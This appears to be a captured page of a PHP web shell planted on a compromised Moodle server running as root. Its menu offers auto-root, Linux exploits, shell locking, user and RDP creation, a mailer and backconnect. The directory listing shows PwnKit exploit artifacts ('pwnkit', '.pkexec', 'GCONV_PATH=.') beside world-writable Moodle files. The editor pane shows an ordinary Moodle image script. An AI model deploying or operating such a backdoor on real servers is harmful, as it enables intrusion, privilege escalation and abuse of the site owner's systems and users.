Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
filter /
algebra /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
AlgParser.pm
20
KB
-rwxrwxrwx
algebra2tex.pl
287
B
-rwxrwxrwx
algebradebug.php
15.35
KB
-rwxrwxrwx
filter.php
12.64
KB
-rwxrwxrwx
pix.php
2.27
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
thirdpartylibs.xml
244
B
-rwxrwxrwx
version.php
1.17
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pix.php
<?php // This function fetches math. images from the data directory // If not, it obtains the corresponding TeX expression from the cache_tex db table // and uses mimeTeX to create the image file // disable moodle specific debug messages and any errors in output define('NO_DEBUG_DISPLAY', true); define('NO_MOODLE_COOKIES', true); // Because it interferes with caching require_once('../../config.php'); if (!filter_is_enabled('algebra')) { print_error('filternotenabled'); } require_once($CFG->libdir.'/filelib.php'); require_once($CFG->dirroot.'/filter/tex/lib.php'); $cmd = ''; // Initialise these variables $status = ''; $relativepath = get_file_argument(); $args = explode('/', trim($relativepath, '/')); if (count($args) == 1) { $image = $args[0]; $pathname = $CFG->dataroot.'/filter/algebra/'.$image; } else { print_error('invalidarguments', 'error'); } if (!file_exists($pathname)) { $md5 = str_replace('.gif','',$image); if ($texcache = $DB->get_record('cache_filters', array('filter'=>'algebra', 'md5key'=>$md5))) { if (!file_exists($CFG->dataroot.'/filter/algebra')) { make_upload_directory('filter/algebra'); } $texexp = $texcache->rawtext; $texexp = str_replace('<','<',$texexp); $texexp = str_replace('>','>',$texexp); $texexp = preg_replace('!\r\n?!',' ',$texexp); $texexp = '\Large ' . $texexp; $cmd = filter_tex_get_cmd($pathname, $texexp); system($cmd, $status); } } if (file_exists($pathname)) { send_file($pathname, $image); } else { if (debugging()) { echo "The shell command<br />$cmd<br />returned status = $status<br />\n"; echo "Image not found!<br />"; echo "Please try the <a href=\"$CFG->wwwroot/filter/algebra/algebradebug.php\">debugging script</a>"; } else { echo "Image not found!<br />"; echo "Please try the <a href=\"$CFG->wwwroot/filter/algebra/algebradebug.php\">debugging script</a><br />"; echo "Please turn on debug mode in site configuration to see more info here."; } }
Close